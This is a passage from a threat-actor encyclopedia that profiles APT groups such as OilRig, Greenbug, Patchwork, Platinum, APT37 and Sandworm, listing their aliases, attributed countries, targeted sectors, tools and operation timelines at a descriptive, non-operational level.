the group have been actively +updating their Clayslide delivery documents, as well as the Helminth +backdoor used against victims. Additionally, the scope of +organizations targeted by this group has expanded to not only include +organizations within Saudi Arabia, but also a company in Qatar and +government organizations in Turkey, Israel and the United States. + +Jan 2017 +Delivers Digitally Signed Malware, Impersonates University of Oxford +In recent attacks they set up a fake VPN Web Portal and targeted at +least five Israeli IT vendors, several financial institutes, and the Israeli +Post Office. +Later, the attackers set up two fake websites pretending to be a +University of Oxford conference sign-up page and a job application +website. In these websites they hosted malware that was digitally +signed with a valid, likely stolen code signing certificate. + +Jun 2017 +In July 2017, we observed the OilRig group using a tool they +developed called ISMAgent in a new set of targeted attacks. The +OilRig group developed ISMAgent as a variant of the ISMDoor Trojan. +In August 2017, we found this threat group has developed yet another +Trojan that they call +Agent Injector + with the specific purpose of +installing the ISMAgent backdoor. We are tracking this tool as +ISMInjector. + +Jul 2017 +The web server logs on the system we examined that was +compromised with the TwoFace shell gave us a glimpse into the +commands the actor executed through their malware. These +commands also enabled us to create a profile of the actor, specifically +their intentions and the tools and techniques used to carry out their +operation. +Threat Group Cards: A Threat Actor Encyclopedia + +Sep 2017 +While expanding our research into the TwoFace webshell from this +past July, we were able to uncover several IP addresses that logged +in and directly interfaced with the shell we discovered and wrote +about. Investigating deeper into these potential adversary IPs +revealed a much larger infrastructure used to execute the attacks. + +Nov 2017 +New Targeted Attack in the Middle East +In this latest campaign, APT34 leveraged the recent Microsoft Office +vulnerability CVE-2017-11882 to deploy POWRUNER and +BONDUPDATER. + +Jan 2018 +On January 8, 2018, Unit 42 observed the OilRig threat group carry +out an attack on an insurance agency based in the Middle East. Just +over a week later, on January 16, 2018, we observed an attack on a +Middle Eastern financial institution. In both attacks, the OilRig group +attempted to deliver a new Trojan that we are tracking as OopsIE. +The January 8 attack used a variant of the ThreeDollars delivery +document, which we identified as part of the OilRig toolset based on +attacks that occurred in August 2017. + +Jan 2018 +While investigating files uploaded to a TwoFace webshell, Unit 42 +discovered actors installing an Internet Information Services (IIS) +backdoor that we call RGDoor. Our data suggests that actors have +deployed the RGDoor backdoor on webservers belonging to eight +Middle Eastern government organizations, as well as one financial +and one educational institution. + +May 2018 +Technology Service Provider and Government Agency +Between May and June 2018, Unit 42 observed multiple attacks by +the OilRig group appearing to originate from a government agency in +the Middle East. Based on previously observed tactics, it is highly +likely the OilRig group leveraged credential harvesting and +compromised accounts to use the government agency as a launching +platform for their true attacks. + +Dec 2018 +Shamoon v3 +After a two-year absence, the destructive malware Shamoon +(W32.Disttrack.B) re-emerged on December 10 in a new wave of +attacks against targets in the Middle East. These latest Shamoon +attacks are doubly destructive, since they involve a new wiper +(Trojan.Filerase) that deletes files from infected computers before the +Shamoon malware wipes the master boot record. + +Threat Group Cards: A Threat Actor Encyclopedia + +Mar 2019 +In an incident reminiscent of the Shadow Brokers leak that exposed +the NSA's hacking tools, someone has now published similar hacking +tools belonging to one of Iran's elite cyber-espionage units, known as +APT34, Oilrig, or HelixKitten. + +Jun 2019 +A new hacking tool believed to have been in the arsenal of Iranian +state hackers has been published today online, in a Telegram +channel. +This new tool is named Jason and was published online earlier today +in the same Telegram channel where the leaker -- going by the name +of Lab Dookhtegan -- dumped the six other previous hacking tools. + +Information + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Subgroup: Greenbug +Names +Greenbug (Symantec) +Country +Iran +Description +(Symantec) Symantec discovered the Greenbug cyberespionage group during its +investigation into previous attacks involving W32.Disttrack.B (aka Shamoon). +Shamoon (W32.Disttrack) first made headlines in 2012 when it was used in attacks +against energy companies in Saudi Arabia. It recently resurfaced in November +2016 (W32.Disttrack.B), again attacking targets in Saudi Arabia. While these +attacks were covered extensively in the media, how the attackers stole these +credentials and introduced W32.Disttrack on targeted organizations + networks +remains a mystery. +Could Greenbug be responsible for getting Shamoon those stolen credentials? +Although there is no definitive link between Greenbug and Shamoon, the group +compromised at least one administrator computer within a Shamoon-targeted +organization +s network prior to W32.Disttrack.B being deployed on November 17, +2016. +Operations +performed +Nov 2016 +Greenbug cyberespionage group targeting Middle East, possible links +to Shamoon + +May 2017 +Researchers have identified a possible new collaborator in the +continued Shamoon attacks against Saudi organizations. Called +Greenbug, this group is believed to be instrumental in helping +Shamoon steal user credentials of targets ahead of Shamoon +destructive attacks. + +Jul 2017 +OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat +Group +In July 2017, we observed an attack on a Middle Eastern technology +organization that was also targeted by the OilRig campaign in August +2016. Initial inspection of this attack suggested this was again the +OilRig campaign using their existing toolset, but further examination +revealed not only new variants of the delivery document we named +Clayslide, but also a different payload embedded inside it. + +Oct 2017 +Iranian Threat Agent Greenbug has been registering domains similar +to those of Israeli High-Tech and Cyber Security Companies. +On 15 October 2017 a sample of ISMdoor was submitted to VirusTotal +from Iraq. + +Threat Group Cards: A Threat Actor Encyclopedia +Operation BugDrop +Names +Operation BugDrop (CyberX) +Country +Russia +Motivation +Information theft and espionage +Description +(CyberX) CyberX has discovered a new, large-scale cyber-reconnaissance +operation targeting a broad range of targets in the Ukraine. Because it +eavesdrops on sensitive conversations by remotely controlling PC microphones +in order to surreptitiously + its targets + and uses Dropbox to store exfiltrated +data, CyberX has named it +Operation BugDrop. +CyberX has confirmed at least 70 victims successfully targeted by the operation +in a range of sectors including critical infrastructure, media, and scientific +research. The operation seeks to capture a range of sensitive information from its +targets including audio recordings of conversations, screen shots, documents and +passwords. Unlike video recordings, which are often blocked by users simply +placing tape over the camera lens, it is virtually impossible to block your +computer +s microphone without physically accessing and disabling the PC +hardware. +Observed +Sectors: Engineering, Oil and gas, Media and Research. +Countries: Austria, Saudi Arabia, Russia and Ukraine. +Tool used +Dropbox. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Operation Ghoul +Names +Operation Ghoul (Kaspersky) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Kaspersky) Kaspersky Lab has observed new waves of attacks that started on +the 8th and the 27th of June 2016. These have been highly active in the Middle +East region and unveiled ongoing targeted attacks in multiple regions. The +attackers try to lure targets through spear phishing emails that include +compressed executables. The malware collects all data such as passwords, +keystrokes and screenshots, then sends it to the attackers. +We found that the group behind this campaign targeted mainly industrial, +engineering and manufacturing organizations in more than 30 countries. In total, +over 130 organizations have been identified as victims of this campaign. Using +the Kaspersky Security Network (KSN) and artifacts from malware files and +attack sites, we were able to trace the attacks back to March 2015. Noteworthy is +that since the beginning of their activities, the attackers + motivations are +apparently financial, whether through the victims + banking accounts or through +selling their intellectual property to interested parties, most infiltrated victim +organizations are considered SMBs (Small to Medium size businesses, 30-300 +employees), the utilization of commercial off-the-shelf malware makes the +attribution of the attacks more difficult. +Observed +Sectors: Education, Engineering, Industrial, Manufacturing, IT, Pharmaceutical, +Shipping and Logistics, Tourism and Trading. +Countries: Azerbaijan, China, Egypt, France, Germany, Gilbraltar, India, Iran, +Iraq, Italy, Pakistan, Portugal, Romania, Qatar, Saudi Arabia, Spain, Sweden, +Switzerland, Taiwan, Turkey, UAE, UK and USA. +Tool used +ShopBot. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Operation Groundbait +Names +Operation Groundbait (ESET) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(ESET) After BlackEnergy, which has, most infamously, facilitated attacks that +resulted in power outages for hundreds of thousands of Ukrainian civilians, and +Operation Potao Express, where attackers went after sensitive TrueCryptprotected data from high value targets, ESET researchers have uncovered +another cyberespionage operation in Ukraine: Operation Groundbait. +The main point that sets Operation Groundbait apart from the other attacks is that +it has mostly been targeting anti-government separatists in the self-declared +Donetsk and Luhansk People +s Republics. +While the attackers seem to be more interested in separatists and the selfdeclared governments in eastern Ukrainian war zones, there have also been a +large number of other targets, including, among others, Ukrainian government +officials, politicians and journalists. +Observed +Sectors: Government, politicians and journalists. +Countries: Ukraine. +Tool used +Prikormka. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Operation Parliament +Names +Operation Parliament (Kaspersky) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Kaspersky) Based on our findings, we believe the attackers represent a +previously unknown geopolitically motivated threat actor. The campaign started in +2017, with the attackers doing just enough to achieve their goals. They most +likely have access to additional tools when needed and appear to have access to +an elaborate database of contacts in sensitive organizations and personnel +worldwide, especially of vulnerable and non-trained staff. The victim systems +range from personal desktop or laptop systems to large servers with domain +controller roles or similar. The nature of the targeted ministries varied, including +those responsible for telecommunications, health, energy, justice, finance and so +Operation Parliament appears to be another symptom of escalating tensions in +the Middle East region. The attackers have taken great care to stay under the +radar, imitating another attack group in the region. They have been particularly +careful to verify victim devices before proceeding with the infection, safeguarding +their command and control servers. The targeting seems to have slowed down +since the beginning of 2018, probably winding down when the desired data or +access was obtained. The targeting of specific victims is unlike previously seen +behavior in regional campaigns by Gaza Cybergang or Desert Falcons and points +to an elaborate information-gathering exercise that was carried out before the +attacks (physical and/or digital). +With deception and false flags increasingly being employed by threat actors, +attribution is a hard and complicated task that requires solid evidence, especially +in complex regions such as the Middle East. +Observed +Sectors: Defense, Education, Energy, Financial, Government, Healthcare, Media, +Research, Shipping and Logistics, Sports and Telecommunications. +Countries: Afghanistan, Canada, Chile, Denmark, Djibouti, Egypt, Germany, +India, Iran, Iraq, Israel, Jordan, Kuwait, Lebanon, Morocco, Oman, Palestine, +Qatar, Russia, Saudi Arabia, Serbia, Somalia, South Korea, Syria, UAE, UK and +USA. +Tool used +Remote CMD/PowerShell terminal. +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Operation Potao Express +Names +Operation Potao Express (ESET) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(ESET) We presented our initial findings based on research into the Win32/Potao +malware family in June, in our CCCC 2015 presentation in Copenhagen. Today, +we are releasing the full whitepaper on the Potao malware with additional +findings, the cyberespionage campaigns where it was employed, and its +connection to a backdoor in the form of a modified version of the TrueCrypt +encryption software. +Like BlackEnergy, the malware used by the so-called Sandworm APT group (also +known as Quedagh), Potao is an example of targeted espionage malware +directed mostly at targets in Ukraine and a number of other post-Soviet countries, +including Russia, Georgia and Belarus. +Observed +Countries: Belarus, Georgia, Russia and Ukraine. +Tool used +FakeTC and Patao. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Orangeworm +Names +Orangeworm (Symantec) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Symantec) Symantec has identified a previously unknown group called +Orangeworm that has been observed installing a custom backdoor called +Trojan.Kwampirs within large international corporations that operate within the +healthcare sector in the United States, Europe, and Asia. +First identified in January 2015, Orangeworm has also conducted targeted attacks +against organizations in related industries as part of a larger supply-chain attack in +order to reach their intended victims. Known victims include healthcare providers, +pharmaceuticals, IT solution providers for healthcare and equipment manufacturers +that serve the healthcare industry, likely for the purpose of corporate espionage. +Based on the list of known victims, Orangeworm does not select its targets +randomly or conduct opportunistic hacking. Rather, the group appears to choose its +targets carefully and deliberately, conducting a good amount of planning before +launching an attack. +According to Symantec telemetry, almost 40 percent of Orangeworm +s confirmed +victim organizations operate within the healthcare industry. The Kwampirs malware +was found on machines which had software installed for the use and control of +high-tech imaging devices such as X-Ray and MRI machines. Additionally, +Orangeworm was observed to have an interest in machines used to assist patients +in completing consent forms for required procedures. The exact motives of the +group are unclear. +Observed +Sectors: Healthcare, as well as related industries as part of a larger supply-chain +attack such as Healthcare providers, Manufacturing, IT and Pharmaceuticals. +Countries: Belgium, Brazil, Canada, Chile, China, France, Germany, Hong Kong, +Hungary, India, Malaysia, Netherlands, Norway, Philippines, Poland, Saudi Arabia, +Spain, Sweden, Switzerland, Turkey, UK and USA. +Tools used +Kwampirs and Systeminfo. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +PassCV +Names +PassCV (Blue Coat Systems) +Country +China +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(Cylance) Snorre Fagerland of Blue Coat Systems first coined the term PassCV in a +blog post. His post provides a good introduction to the group and covers some of +the older infrastructure, stolen code-signing certificate reuse, and other connections +associated with the PassCV malware. There are several clues alluding to the +possibility that multiple groups may be utilizing the same stolen signing certificates, +but at this time SPEAR believes the current attacks are more likely being +perpetrated by a single group employing multiple publicly available Remote +Administration Tools (RATs). +The PassCV group has been operating with continued success and has already +started to expand their malware repertoire into different off-the-shelf RATs and +custom code. SPEAR identified eighteen previously undisclosed stolen +Authenticode certificates. These certificates were originally issued to companies +and individuals scattered across China, Taiwan, Korea, Europe, the United States +and Russia. +The PassCV group typically utilized publicly available RATs in addition to some +custom code, which ultimately provided backdoor functionality to affected systems +via phony resumes and curriculum vitae (CVs). PassCV continues to maintain a +heavy reliance on obfuscated and signed versions of older RATs like ZxShell and +Ghost RAT, which have remained a favorite of the wider Chinese criminal +community since their initial public release. +Observed +Sectors: Online videogame companies. +Countries: China, Europe, Russia, South Korea, Taiwan and USA. +Tools used +Cobalt Strike, Gh0st RAT, Kitkiot, Netwire, Sabresac, Winnti and ZXShell +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Patchwork, Dropping Elephant +Names +Patchwork (Cymmetria) +Dropping Elephant (Kaspersky) +Chinastrats (Kaspersky) +APT-C-09 (360) +Monsoon (Forcepoint) +Quilted Tiger (CrowdStrike) +Country +India +Motivation +Information theft and espionage +Description +(Cymmetria) Patchwork is a targeted attack that has infected an estimated 2,500 +machines since it was first observed in December 2015. There are indications of +activity as early as 2014, but Cymmetria has not observed any such activity first +hand. +Patchwork targets were chosen worldwide with a focus on personnel working on +military and political assignments, and specifically those working on issues relating +to Southeast Asia and the South China Sea. Many of the targets were governments +and government-related organizations. +The code used by this threat actor is copy-pasted from various online forums, in a +way that reminds us of a patchwork quilt +hence the name we +ve given the +operation. +In active victim systems, Patchwork immediately searches for and uploads +documents to their C&C, and only if the target is deemed valuable enough, +proceeds to install a more advanced second stage malware. +This group seems to be associated with Confucius. +Observed +Sectors: Aviation, Defense, Energy, Financial, Government, IT, Media, NGOs, +Pharmaceutical and Think Tanks. +Countries: China, Japan, Middle East, UK, USA and Southeast Asia, many of the +target countries are in the area surrounding the Indian subcontinent (Bangladesh, +Sri Lanka and Pakistan). +Tools used +AndroRAT, AutoIt backdoor, BADNEWS, Bahamut, MazeRunner, NdiskMonitor, +PowerSploit, QuasarRAT, Sarit, Socksbot, Steladoc, TINYTYPHON WSCSPL and +Unknown Logger. +Operations +performed +2015 +The attack was detected as part of a spear phishing against a +government organization in Europe in late May 2016. The target was +an employee working on Chinese policy research and the attack +vector was a PowerPoint presentation file. The content of the +presentation was on issues relating to Chinese activity in the South +China Sea. + +Mar 2018 +Targeting US Think Tanks +In March and April 2018, Volexity identified multiple spear phishing +campaigns attributed to Patchwork, an Indian APT group also known +as Dropping Elephant. This increase in threat activity was consistent +with other observations documented over the last few months in blogs +by 360 Threat Intelligence Center analyzing attacks on Chinese +organizations and Trend Micro noting targets in South Asia. + +Threat Group Cards: A Threat Actor Encyclopedia +Information + + + + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Pirate Panda, APT 23, KeyBoy +Names +Pirate Panda (CrowdStrike) +APT 23 (Mandiant) +KeyBoy (Rapid7) +Country +China +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(Rapid7) In this blog post we'll analyze two specific incidents apparently targeting +victims in Vietnam and in India and we'll describe the capabilities of the custom +backdoor being used that for convenience (and to our knowledge, for a lack of an +existing name) we call KeyBoy, due to a string present in one of the samples. +Observed +Countries: India and Vietnam. +Tools used +CREDRIVER. +Information + + + +Threat Group Cards: A Threat Actor Encyclopedia +PittyTiger, Pitty Panda +Names +PittyTiger (FireEye) +Pitty Panda (CrowdStrike) +Manganese (Microsoft) +Country +China +Motivation +Information theft and espionage +Description +(Airbus) Pitty Tiger is a group of attackers that have been active since at least 2011. +They have targeted private companies in several sectors, such as defense and +telecommunications, but also at least one government. +We have been able to track down this group of attackers and can provide detailed +information about them. We were able to collect and reveal their +malware arsenal +We also analyzed their technical organization. +Our investigations indicate that Pitty Tiger has not used any 0day vulnerability so +far, rather they prefer using custom malware, developed for the group +s exclusive +usage. Our discoveries indicate that Pitty Tiger is a group of attackers with the +ability to stay under the radar, yet still not as mature as other groups of attackers +we monitor. +Pitty Tiger is probably not a state-sponsored group of attackers. They lack the +experience and financial support that one would expect from state-sponsored +attackers. We suppose this group is opportunistic and sells its services to probable +competitors of their targets in the private sector. +We have been able to leverage several attackers profiles, showing that the Pitty +Tiger group is fairly small compared to other APT groups, which is probably why we +saw them work on a very limited amount of targets. +Observed +Sectors: Defense, Government, Telecommunications and Web development. +Countries: Europe and Taiwan. +Tools used +Gh0st RAT, gsecdump, Lurid, Mimikatz, Paladin, pgift, Pitty and Poison Ivy. +Operations +performed +2011 +Operation +The Eye of the Tiger + +Jun 2014 +We discovered this malware sample in June 2014, leading to a +command & control (c&c) server still in activity. +Our researches around the malware family revealed the +Pitty Tiger +group has been active since 2011, yet we found traces which makes +us believe the group is active since 2010. + +Jul 2014 +During the last month, McAfee Labs researchers have uncovered +targeted attacks carried out via spear phishing email against a French +company. We have seen email sent to a large group of individuals in +the organization. + +Threat Group Cards: A Threat Actor Encyclopedia +2014 +MITRE ATT&CK +In a recent attack against a French company, the attackers sent +simple, straightforward messages in English and French from free +email addresses using names of actual employees of the targeted +company. + + +Threat Group Cards: A Threat Actor Encyclopedia +Platinum +Names +Platinum (Microsoft) +TwoForOne (Kaspersky) +Country +China +Motivation +Information theft and espionage +Description +(Microsoft) Platinum has been targeting its victims since at least as early as 2009, +and may have been active for several years prior. Its activities are distinctly different +not only from those typically seen in untargeted attacks, but from many targeted +attacks as well. A large share of targeted attacks can be characterized as +opportunistic: the activity group changes its target profiles and attack geographies +based on geopolitical seasons, and may attack institutions all over the world. Like +many such groups, Platinum seeks to steal sensitive intellectual property related to +government interests, but its range of preferred targets is consistently limited to +specific governmental organizations, defense institutes, intelligence agencies, +diplomatic institutions, and telecommunication providers in South and Southeast +Asia. The group +s persistent use of spear-phishing tactics (phishing attempts aimed +at specific individuals) and access to previously undiscovered zero-day exploits +have made it a highly resilient threat. +Observed +Sectors: Defense, Government, Intelligence agencies and Telecommunications. +Countries: China, India, Indonesia, Malaysia, Singapore and Thailand. +Tools used +adbupd, AMTsol, Dipsind and JPIN. +Operations +performed +2017 +Since the 2016 publication, Microsoft has come across an evolution of +PLATINUM +s file-transfer tool, one that uses the Intel Active +Management Technology (AMT) Serial-over-LAN (SOL) channel for +communication. This channel works independently of the operating +system (OS), rendering any communication over it invisible to firewall +and network monitoring applications running on the host device. Until +this incident, no malware had been discovered misusing the AMT SOL +feature for communication. + +Middle +2017 +Operation +EasternRoppels +In the middle of 2017, Kaspersky Lab experts discovered a new +malicious threat that is believed to be related to the famous +PLATINUM APT group, which had been widely regarded as inactive. +They named the campaign +EasternRoppels + + +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Poseidon Group +Names +Poseidon Group (Kaspersky) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Kaspersky) During the latter part of 2015, Kaspersky researchers from GreAT +(Global Research and Analysis Team) got hold of the missing pieces of an intricate +puzzle that points to the dawn of the first Portuguese-speaking targeted attack +group, named +Poseidon. + The group +s campaigns appear to have been active +since at least 2005, while the very first sample found points to 2001. This signals +just how long ago the Poseidon threat actor was already working on its offensive +framework. +The Poseidon Group is a long-running team operating on all domains: land, air, and +sea. They are dedicated to running targeted attacks campaigns to aggressively +collect information from company networks through the use of spear-phishing +packaged with embedded, executable elements inside office documents and +extensive lateral movement tools. The information exfiltrated is then leveraged by a +company front to blackmail victim companies into contracting the Poseidon Group +as a security firm. Even when contracted, the Poseidon Group may continue its +infection or initiate another infection at a later time, persisting on the network to +continue data collection beyond its contractual obligation. The Poseidon Group has +been active, using custom code and evolving their toolkit since at least 2005. Their +tools are consistently designed to function on English and Portuguese systems +spanning the gamut of Windows OS, and their exfiltration methods include the use +of hijacked satellite connections. Poseidon continues to be active at this time. +Observed +Sectors: Energy, Financial, Government, Media, Manufacturing, +Telecommunications and Utilities. +Countries: Brazil, France, India, Kazakhstan, Russia, UAE and USA. +Tools used +IGT supertool. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Promethium +Names +Promethium (Microsoft) +StrongPity (Kaspersky) +Country +Turkey +Motivation +Information theft and espionage +Description +Promethium is an activity group that has been active since at least 2012. The group +conducted a campaign in May 2016 and has heavily targeted Turkish victims. +Promethium has demonstrated similarity to another activity group called +Neodymium due to overlapping victim and campaign characteristics. +(Microsoft) Promethium is an activity group that has been active as early as 2012. +The group primarily uses Truvasys, a first-stage malware that has been in +circulation for several years. Truvasys has been involved in several attack +campaigns, where it has masqueraded as one of server common computer utilities, +including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, +Truvasys malware evolved with additional features +this shows a close relationship +between the activity groups behind the campaigns and the developers of the +malware. +Observed +Countries: Europe and Turkey. +Tools used +Truvasys. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Putter Panda, APT 2 +Names +Putter Panda (CrowdStrike) +TG-6952 (SecureWorks) +APT 2 (Mandiant) +Group 36 (Talos) +Sulphur (Microsoft) +Country +China +Sponsor +State-sponsored, Unit 61486 of the 12th Bureau of the PLA +s 3rd General Staff +Department (GSD). +Motivation +Information theft and espionage +Description +Putter Panda is the name of bad actor responsible for a series of cyberespionage +operations originating in Shanghai, security experts linked its operation to the +activity of the People +s Liberation Army 3rd General Staff Department 12th Bureau +Unit 61486. +A fake yoga brochure was one of different emails used for a spear-phishing +campaign conducted by the stealth Chinese cyber unit according an investigation +conducted by researchers at the CrowdStrike security firm. Also in this case the +experts believe that we are facing with a large scale cyberespionage campaign +targeting government entities, contractors and research companies in Europe, USA +and Japan. +The group has been operating since at least 2007 and appears very interested in +research companies in the space and satellite industry, experts at CrowdStrike +have collected evidence of a numerous attacks against these industries. +Observed +Sectors: Defense, Government, Research and Technology (Communications, +Space, Aerospace). +Countries: USA. +Tools used +3PARA RAT, 4H RAT, httpclient, MSUpdater, pngdowner and SearchFire. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Rancor +Names +Rancor (Palo Alto) +Rancor Group (Palo Alto) +Country +China +Motivation +Information theft and espionage +Description +(Palo Alto) Throughout 2017 and 2018 Unit 42 has been tracking and observing a +series of highly targeted attacks focused in South East Asia, building on our +research into the KHRAT Trojan. Based on the evidence, these attacks appear to +be conducted by the same set of attackers using previously unknown malware +families. In addition, these attacks appear to be highly targeted in their distribution +of the malware used, as well as the targets chosen. Based on these factors, Unit 42 +believes the attackers behind these attacks are conducting their campaigns for +espionage purposes. +We believe this group is previously unidentified and therefore have we have +dubbed it +Rancor +. The Rancor group +s attacks use two primary malware families +which we describe in depth later in this blog and are naming DDKONG and +PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to +be new addition to these attackers + toolkit. +Observed +Sectors, Government and political entities. +Countries: Southeast Asia (at least Cambodia and Singapore). +Tools used +certutil, DDKONG and PLAINTEE. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Reaper, APT 37, Ricochet Chollima +Names +Reaper (FireEye) +APT 37 (Mandiant) +Ricochet Chollima (CrowdStrike) +Group 123 (Talos) +Red Eyes (AhnLab) +Venus 121 (ESRC) +Country +North Korea +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +Some research organizations link this group to Lazarus Group, Hidden Cobra, +Labyrinth Chollima. +(FireEye) Read our report, APT37 (Reaper): The Overlooked North Korean Actor, +to learn more about our assessment that this threat actor is working on behalf of the +North Korean government, as well as various other details about their operations: +Targeting: Primarily South Korea + though also Japan, Vietnam and the Middle +East + in various industry verticals, including chemicals, electronics, +manufacturing, aerospace, automotive, and healthcare. +Initial Infection Tactics: Social engineering tactics tailored specifically to desired +targets, strategic web compromises typical of targeted cyberespionage +operations, and the use of torrent file-sharing sites to distribute malware more +indiscriminately. +Exploited Vulnerabilities: Frequent exploitation of vulnerabilities in Hangul Word +Processor (HWP), as well as Adobe Flash. The group has demonstrated +access to zero-day vulnerabilities (CVE-2018-0802), and the ability to +incorporate them into operations. +Command and Control Infrastructure: Compromised servers, messaging +platforms, and cloud service providers to avoid detection. The group has shown +increasing sophistication by improving their operational security over time. +Malware: A diverse suite of malware for initial intrusion and exfiltration. Along +with custom malware used for espionage purposes, APT37 also has access to +destructive malware. +Observed +Sectors: Aerospace, Automotive, Chemical, Financial, Government, Healthcare, +Manufacturing and Technology. +Countries: China, India, Japan, Kuwait, Nepal, Romania, Russia, South Korea, UK +and Vietnam. +Tools used +CORALDECK, DOGCALL, Final1stSpy, Freenki Loader, HAPPYWORK, KARAE, +KevDroid, N1stAgent, NavRAT, Nokki, PoohMilk Loader, POORAIM, ROKRAT, +SHUTTERSPEED, SLOWDRIFT, WINERACK and several 0-day Flash and MS +Office exploits. +Operations +performed +2012 +Spying on South Korean users. +Aug 2016 +Operation +Golden Time +Target: South Korean users. +Method: spear-phishing emails combined with malicious HWP +documents created using Hancom Hangul Office Suite. +Nov 2016 +Operation +Evil New Year +Threat Group Cards: A Threat Actor Encyclopedia +Target: South Korean users. +Method: spear-phishing emails combined with malicious HWP +documents created using Hancom Hangul Office Suite. +Mar 2017 +Operation +Are You Happy? +Target: South Korean users. +Method: Not only to gain access to the remote infected systems but to +also wipe the first sectors of the device. +May 2017 +Operation +FreeMilk +Target: Several non-Korean financial institutions. +Method: A malicious Microsoft Office document, a deviation from their +normal use of Hancom documents. + +Nov 2017 +Operation +North Korean Human Right +Target: South Korean users. +Method: Spear-phishing emails combined with malicious HWP +documents created using Hancom Hangul Office Suite. +Jan 2018 +Operation +Evil New Year 2018 +Target: South Korean users. +Method: Spear-phishing emails combined with malicious HWP +documents created using Hancom Hangul Office Suite. +May 2018 +Operation +Onezero + +Aug 2018 +Operation +Rocket Man + +Nov 2018 +Operation +Korean Sword + +Jan 2019 +Operation +Holiday Wiper + +Mar 2019 +Operation +Golden Bird + +Mar 2019 +Operation +High Expert + +Apr 2019 +Operation +Black Banner + +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Threat Group Cards: A Threat Actor Encyclopedia +Roaming Tiger +Names +Roaming Tiger (ESET) +Country +Russia +Motivation +Information theft and espionage +Description +(Palo Alto) In late 2014, ESET presented an attack campaign that had been +observed over a period of time targeting Russia and other Russian speaking +nations, dubbed +Roaming Tiger +. The attack was found to heavily rely on RTF +exploits and at the time, thought to make use of the PlugX malware family. +Observed +Countries: Belarus, Kazakhstan, Kyrgyzstan, Tajikistan, Ukraine and Uzbekistan. +Tools used +BBSRAT, Gh0st RAT and PlugX. +Operations +performed +Aug 2015 +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Names +RTM (ESET) +Country +Russia +Motivation +Financial gain +Description +(ESET) There are several groups actively and profitably targeting businesses in +Russia. A trend that we have seen unfold before our eyes lately is these +cybercriminals + use of simple backdoors to gain a foothold in their targets + networks. +Once they have this access, a lot of the work is done manually, slowly getting to +understand the network layout and deploying custom tools the criminals can use to +steal funds from these entities. Some of the groups that best exemplify these trends +are Buhtrap, Cobalt Group and Corkow, Metel. +The group discussed in this white paper is part of this new trend. We call this new +group RTM; it uses custom malware, written in Delphi, that we cover in detail in +later sections. The first trace of this tool in our telemetry data dates back to late +2015. The group also makes use of several different modules that they deploy +where appropriate to their targets. They are interested in users of remote banking +systems (RBS), mainly in Russia and neighboring countries. +Observed +That this group is mostly targeting businesses is apparent from the processes they +are looking for on a compromised system. They look for software that is usually +only installed on accountants + computers, such as remote banking software or tools +to help with accounts pay. +Countries: Czech, Germany, Kazakhstan, Russia and Ukraine. +Tools used +RTM. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Sandworm Team, Iron Viking, Voodoo Bear +Names +Sandworm Team (Trend Micro) +Iron Viking (SecureWorks) +Voodoo Bear (CrowdStrike) +Quedagh (F-Secure) +TEMP.Noble (FireEye) +Country +Russia +Motivation +Sabotage and destruction +Description +Sandworm Team is a Russian cyberespionage group that has operated since +approximately 2009. The group likely consists of Russian pro-hacktivists. +Sandworm Team targets mainly Ukrainian entities associated with energy, industrial +control systems, SCADA, government, and media. Sandworm Team has been +linked to the Ukrainian energy sector attack in late 2015. +This group appears to be closely associated with, or evolved into, TeleBots. +Observed +Sectors: Education, Energy, Government and Telecommunications. +Countries: Azerbaijan, Belarus, Georgia, Iran, Israel, Kazakhstan, Kyrgyzstan, +Lithuania, Poland, Russia and Ukraine. +Tools used +BlackEnergy, Gcat and PassKillDisk. +Operations +performed +Oct 2014 +The vulnerability was disclosed by iSIGHT Partners, which said that +the vulnerability had already been exploited in a small number of +cyberespionage attacks against NATO, several unnamed Ukrainian +government organizations, a number of Western European +governmental organizations, companies operating in the energy +sector, European telecoms firms, and a US academic organization. + +Dec 2015 +Widespread power outages on the Ukraine +The power outage was described as technical failures taking place on +Wednesday, December 23 that impacted a region around IvanoFrankivisk Oblast. One report suggested the utility began to +disconnect power substations for no apparent reason. The same +report goes on to describe a virus was launched from the outside and +it brought down the +remote management system + (a reference to the +SCADA and or EMS). The outage was reported to have lasted six +hours before electrical service was restored. At least two reports +suggest the utility had initiated manual controls for restoration of +service and the SCADA system was still off-line due to the infection. + +Information + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Samurai Panda, APT 4 +Names +Samurai Panda (CrowdStrike) +APT 4 (Mandiant) +APT 4 (FireEye) +Wisp Team (Symantec) +Country +China +Sponsor +State-sponsored, PLA Navy +Motivation +Information theft and espionage +Description +(CrowdStrike) Samurai Panda is interesting in that their target selection tends to +focus on Asia Pacific victims in Japan, the Republic of Korea, and other democratic +Asian victims. Beginning in 2009, we +ve observed this actor conduct more than 40 +unique campaigns that we 